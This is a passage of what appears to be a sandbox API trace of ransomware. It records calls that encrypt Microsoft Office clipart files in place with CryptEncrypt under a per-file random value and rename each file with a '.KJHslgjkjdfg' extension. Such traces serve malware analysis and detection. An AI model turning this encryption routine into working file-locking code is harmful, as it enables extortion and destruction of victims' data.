out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.476] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.476] GetProcessHeap () returned 0x2a0000 [0161.476] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0161.476] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0161.476] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.476] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0161.476] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0161.476] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0161.477] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0161.477] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0161.477] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0161.477] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.477] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.477] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.477] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x11dfe, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x11dfe, lpOverlapped=0x0) returned 1 [0161.478] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x11e00, dwBufLen=0x11e00 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x11e00) returned 1 [0161.479] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.479] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x11e00, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x11e00, lpOverlapped=0x0) returned 1 [0161.480] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.480] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x11ed4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.480] SetEndOfFile (hFile=0x114) returned 1 [0161.483] GetProcessHeap () returned 0x2a0000 [0161.483] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0161.483] GetProcessHeap () returned 0x2a0000 [0161.483] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0161.483] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099149.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099149.wmf.kjhslgjkjdfg")) returned 1 [0161.484] CloseHandle (hObject=0x114) returned 1 [0161.484] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x559a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099150.JPG", cAlternateFileName="")) returned 1 [0161.487] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099150.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0161.487] GetProcessHeap () returned 0x2a0000 [0161.487] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0161.487] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0161.487] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0161.488] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x6, lpOverlapped=0x0) returned 1 [0161.489] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.489] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.489] GetProcessHeap () returned 0x2a0000 [0161.489] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0161.490] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0161.490] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.490] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0161.490] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0161.490] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0161.490] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0161.490] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0161.490] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0161.490] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.490] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.490] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.490] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x559a, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x559a, lpOverlapped=0x0) returned 1 [0161.491] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x55a0, dwBufLen=0x55a0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x55a0) returned 1 [0161.492] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.492] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x55a0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x55a0, lpOverlapped=0x0) returned 1 [0161.492] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.492] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x5674, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.492] SetEndOfFile (hFile=0x114) returned 1 [0161.495] GetProcessHeap () returned 0x2a0000 [0161.495] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0161.495] GetProcessHeap () returned 0x2a0000 [0161.495] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0161.495] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099150.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099150.jpg.kjhslgjkjdfg")) returned 1 [0161.496] CloseHandle (hObject=0x114) returned 1 [0161.496] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x65e6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099151.WMF", cAlternateFileName="")) returned 1 [0161.496] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099151.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0161.496] GetProcessHeap () returned 0x2a0000 [0161.496] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0161.496] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0161.496] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0161.497] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0161.503] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.503] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.503] GetProcessHeap () returned 0x2a0000 [0161.504] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0161.504] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0161.504] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.504] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0161.504] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0161.504] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0161.504] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0161.504] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0161.504] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0161.504] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.504] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.504] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.504] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x65e6, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x65e6, lpOverlapped=0x0) returned 1 [0161.505] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x65f0, dwBufLen=0x65f0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x65f0) returned 1 [0161.506] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.506] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x65f0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x65f0, lpOverlapped=0x0) returned 1 [0161.506] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.506] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x66c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.506] SetEndOfFile (hFile=0x114) returned 1 [0161.508] GetProcessHeap () returned 0x2a0000 [0161.508] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0161.508] GetProcessHeap () returned 0x2a0000 [0161.508] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0161.509] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099151.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099151.wmf.kjhslgjkjdfg")) returned 1 [0161.510] CloseHandle (hObject=0x114) returned 1 [0161.510] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x2dae, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099152.JPG", cAlternateFileName="")) returned 1 [0161.510] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099152.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0161.510] GetProcessHeap () returned 0x2a0000 [0161.510] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0161.510] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0161.510] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0161.510] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x2, lpOverlapped=0x0) returned 1 [0161.512] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.512] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.512] GetProcessHeap () returned 0x2a0000 [0161.512] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0161.513] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0161.513] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.513] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0161.513] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0161.513] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0161.513] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0161.513] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0161.513] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0161.513] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.513] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.513] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.513] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2dae, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2dae, lpOverlapped=0x0) returned 1 [0161.514] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2db0, dwBufLen=0x2db0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2db0) returned 1 [0161.514] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.514] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2db0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2db0, lpOverlapped=0x0) returned 1 [0161.514] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.514] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2e84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.514] SetEndOfFile (hFile=0x114) returned 1 [0161.517] GetProcessHeap () returned 0x2a0000 [0161.517] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0161.517] GetProcessHeap () returned 0x2a0000 [0161.517] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0161.517] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099152.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099152.jpg.kjhslgjkjdfg")) returned 1 [0161.518] CloseHandle (hObject=0x114) returned 1 [0161.518] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x3632, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099153.WMF", cAlternateFileName="")) returned 1 [0161.518] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099153.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0161.519] GetProcessHeap () returned 0x2a0000 [0161.520] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0161.520] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0161.520] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0161.520] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xe, lpOverlapped=0x0) returned 1 [0161.522] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.522] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.522] GetProcessHeap () returned 0x2a0000 [0161.522] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0161.522] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0161.522] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.522] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0161.522] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0161.522] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0161.522] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, 